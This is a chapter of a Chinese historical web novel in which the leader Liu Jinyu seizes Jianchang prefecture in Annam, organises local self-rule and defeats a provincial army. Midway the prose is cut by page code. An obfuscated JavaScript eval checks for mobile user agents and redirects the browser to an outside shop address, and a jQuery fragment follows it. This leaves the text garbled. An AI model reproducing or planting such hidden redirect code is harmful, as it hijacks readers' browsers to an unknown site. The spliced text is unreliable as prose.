山南处建昌府。
建昌府所谓城墙,将官署和上百栋民居圈起来的竹栅栏,被身披盔甲的战士拿着大刀砍开了好几个大口子。
栅栏里矮小的士卒,莫说甲胄武器之类,连衣服都是破布。
被铳手打死几人后,他们的士气便已经衰竭,面对高大威武的甲兵更是直接被吓破了胆,怪叫着溃逃了。
建昌府就此易手。
“社长,这交趾兵也太弱了!”
贾闷头还没上阵,敌人便投降的投降,逃跑的逃跑,他实在没劲。
“这算甚兵,”刘今钰下令去占据建昌府官署和粮仓,“郑主在地方上无甚常备兵,都是半农半兵的民兵,说来就是些农户。”
说着她瞥了眼贾闷头,“听说交趾的象兵颇为厉害,到时候你可莫丧了胆!”
“象兵?”贾闷头眼睛亮着光,“我还没见过象兵哩!也没吃过大象的肉。社长,象肉好吃么?”
“老子怎么晓得!”
说罢,刘今钰大步跨入栅栏之中,城中已经大乱,各种各类的声音接连不绝。
人,底色果然都相差不大。
不过他们兵力太少,还顾及不到整座城市,清理战场、收拢俘虏并控制官署和粮仓后,她才有空余的人力去维持秩序。
“建昌府的知府急急忙忙从临近乡社召集了两百人马,死伤不到十人,便溃了。”贾闷头说话时满是蔑视,“反倒逃跑的时候太乱没注意,死伤了十几个。”
刘今钰并不惊讶,“当年几十个倭寇都能打到南京城下,是我们不如倭寇,还是这交趾国能与大明的留都相比了?”
贾闷头兴奋说道,“社长,我们要打去交趾国的国都么?”
“不去,老子还没疯。”刘今钰断然否决,“你带上几个懂交趾话的人,将临近乡社的头目叫来,说我们是来兴王讨逆的,要将窃国的郑氏灭了,还大政与黎王。”
贾闷头答应下来,当即出发。
建昌府城也恢复平静,刘今钰叫人广告安民政策,并当众严惩趁机作乱之人。
黄昏时候,临近乡社的头目都一脸愁闷、畏惧地到了。
“我十万大军正渡海而来,郑氏若执迷不悟,我必灭之。”刘今钰面对一众老头说道,“你们世沐王恩,岂能不报?
“你等别的可以不做,建昌府不能不管。此处便交由你们自治,待郑氏还权与黎王再听黎王安排,期间万不能以公谋私。”
大多头目听得云里雾里,却有一老头指着刘今钰大骂,“郑主乃我朝擎天柱,若无郑氏,国家早为逆贼窃取!
“贼女血口污人,诓骗我国之民,欲乱我国家,诸位切莫上当!十万大军?若真有十万大军,贼女岂会冒险攻打建昌府?”
通事战战兢兢翻译,刘今钰却没当回事,指着那老头道,“这里竟有郑氏爪牙,将他拿下,好好查一查,是否违法,鱼肉乡里。”
当即有人上前将老头拿下,其余头目更为惊惶,看向刘今钰的目光满是恐惧。
刘今钰却笑道,“你等不必担忧,我是来清君侧,不是来陷害好人的。我自然明白你等的惶恐,不必担心,过几日便知我要你们做甚了。”
往旁侧瞥了眼,护卫马上明白了她的意思,将乡社的头目与通事一起带走。
她匆匆吃过晚饭,便又去见“自愿”投诚的建昌府的官吏。
“你等既然投诚,便算我大同社的准雇员,”刘今钰道,“月钱暂按文职雇员的八成发放,即每月一两银子。
“也不必担心我社不管你们,往后要么入我大同社,要么等黎王夺回大权后,你们可以留在安南。”
官吏因丰厚的待遇吃了一惊,某一刻眼底透出些喜意,但一想到刘今钰手下仅两三百人,便十分不安。
“你们要做的,便是与我的人一起,将城中百姓编组,十户为一甲,十甲为一保,保甲青壮编队巡逻,护卫城市。
“同时,保甲自行推选有能之人为首,至少两人,负责民政与防务。每保首领组成自治会,往后城中大小事务,皆由自治会处置。
“临近的乡社也参照此法改革,好几个乡社头目都在城中,你们便带着一起干,到时再与他们回乡社重建制度。
“此外,你们要替我社宣扬募兵之事,我社包吃住及武器、训练用品,每月到手一两银子,身体健全的青壮,皆可报名。”
一众官吏起初听得瞠目结舌,但刘今钰刚说完,便有不少人暗自高兴,因为他们意识到这位贼首似乎当真准备经营建昌府,而非抢完东西便跑。
只不过高兴持续不了多久,大同社兵力太少,又远在海外,再愚笨的人都看得出这位刘社长不可能在山南扎下根。
想是这么想,活还是得干,毕竟这个月的月钱已经下发。
第二日城中开始了大规模的编制保甲活动,刘今钰顺便出席了公审活动,将几个臭名昭著的恶人和他们攻破府城时趁机作乱的罪人斩首。
鲜血换来了异乡的外族人的一点信任。
但这信任有多么稀薄,别说刘今钰,连贾闷头也十分清楚。
“社长,我们不去救李潜龙了?”贾闷头又惊又疑,“在这里耽误时间,交趾人可不会领情。”
“无妨,我只是做个实验,顺便给郑梉找点不痛快。”刘今钰笑着说话,声音却又冷又硬,“至于李潜龙嘛……
“我原本也想快些去,但那位山南镇守送了信,声称只要我们退走,便将李潜龙等人安全送回。
“又称他已召集三千大军,若我们两天内不退去洱河口,便来剿灭我们。这说明李潜龙是安全的,也说明扣押我们的人是山南地方官员的擅自行动。”
贾闷头挠挠头,“那鸟官愿意送人回来,我们为何还要去庯宪?社长,这毕竟是……”
“我的人,是他想抓便抓,想放便放的么?”刘今钰冰冷的目光看来,贾闷头顿时噤声了,“不狠狠打交趾一个巴掌,这甚么狗屁南天小中华可不会长教训。
“既然东京尚不知此事,我们还有充足时间。山南镇守要来打我们,那正好,我们以逸待劳,就在建昌击溃他所谓的三千大军!”
贾闷头又没心没肺地笑了起来,“也好,这次有三千人,怎么也能打个痛快了!”
“那你便好好期待罢!”刘今钰没好气地瞪了他一眼,又嘱咐道,“募兵之事,你要看紧了,宁缺毋滥。
“首先身体必须健全,体能可降低一档;其次,最好是汉人或者会汉话的交趾人,这类人优先招募,明白了么?”
贾闷头多少有些看不起交趾人,“社长,你要多少人?若是需要百人以上,恐怕体能得降两档考虑。”
刘今钰愣住,旋即摇了摇头,“闷头啊,没想到此事你倒比我考虑得周全。那便先降两档招募,若是人太多,便再筛选一次。”
贾闷头得了夸奖,咧嘴笑着,刘今钰笑骂一声,他才步伐愉快地出去办事了。
刘今钰也没闲着,建立保甲之事得她亲自盯着。
建昌府城人口并不多,不到三千人,不到两天保甲便初步组建完成。
推选出来的管事大多无所适从,但也有少数,脑子灵泛,当即组织青壮编队操练,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758549|159702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
被刘今钰好一番夸奖,还得了银子奖励,让其他人艳羡不已。
建昌府城被破的第三日,声称只给两天时间考虑的山南镇守终于率领大军进入了建昌府境,姗姗来迟的他给了刘今钰最后的警告。
刘今钰只回了一个字——
杀。
山南镇守气愤不已,与此同时也生出深深的疑惑:这女贼的底气究竟在哪里?难道她手下的人都是天兵天将不成,竟能如此有恃无恐?
这样的疑惑同样让赵林不安。
他察觉到了快州知府的不良意图,成功逃脱城中官吏的搜捕,却一招不慎,被一时间凑集不到足够兵力的山南镇守拉了壮丁。
他无数次祈祷这支奇怪的汉人与山南镇守达成协议,却不想还是没逃掉上战场的命运,更没想到他们在半路被这支汉人截住了。
恐怕还不到两百的兵力,竟敢出城野战,与山南镇守的三千人硬碰硬。
他都不知该说那女贼首勇猛,还是愚蠢了。
山南镇守很开心,他却很悲伤。
他和一众被强征的壮丁成了前锋,向着阵型严整的贼人冲杀过去。
他心脏狂跳,眼睛不住地往左右张望,有人癫狂地笑,有人怕得快要哭了,还有人与他一样,左看右看。
心里念着各路神仙的名字,身体一点点地往边缘挪去,但跑动的人群一推搡拥挤,他便又被推去了中间。
没来得及哀嚎一声,尖锐的爆鸣声忽地响起。
他的瞳孔骤然放大,血肉四溅,一股热气如同烙铁般炙烤着他冰冷的脸庞,前阵几乎被打成了筛子。
在胸间停留太久的浊气重重呼出,却又是一阵弹雨。
身前的人又被打空了两排,他双股战战,脑子一片空白。
“又……又来了……”
身边人凄惨的叫声突然停止,鲜血和脑浆打湿了他半张脸颊。
他踉跄一下,愣愣地抬起头,却见不远处一根根炽热而又冰冷的火铳正对着他。
风,太他娘的刺耳了!
身体突遭重击,他几乎下意识地顺势倒在地上。
危机让他忘却了疼痛,当即恢复了意识,一只只脚往后跑动,他心头一震,手脚并用地爬了起来,拼尽全身力气挤进了溃败的人群之中。
“好快的火铳……快也就罢了,为何也不停一停……”
身后又是一阵铳响,他不要命地往前挤,到了中间便又不敢再往前。
果然,山南镇守的亲兵过来督战了。
他深吸一口气,让自己躲在人潮之中,看着那些精神崩溃的人主动撞向士卒的利刃。
他又逃过一劫。
但接下来,他又得去走钢丝。
稍有不慎,便是死亡。
几次冲击,几次溃败,他们甚至都没能与贼人肉搏。
午时已过,山南镇守再也忍受不下去,他麾下的兵将紧跟在他们后方冲锋,借他们的□□抵挡弹雨,当他们再次崩溃时,径直将他们杀穿,杀至贼人近前。
赵林混在溃逃的人群中,瞄准一个尸体最多的地方,横着身体倒了下去。
左边眼睛看到,山南镇守留守后方的士卒在砍杀溃兵。
右边眼睛看到,贼人在官兵逼近十丈内后竟还能齐射,官兵死伤惨重。贼人毫无畏惧,在齐射后冲锋上前,主动与官兵近身肉搏。
谁会赢?
不,他竟然觉得远少于官兵的贼人有可能会赢么?
脑子稍一思考,剧烈的疼痛从身体每一处生发,将他的意志绞碎。
他沉沉睡去。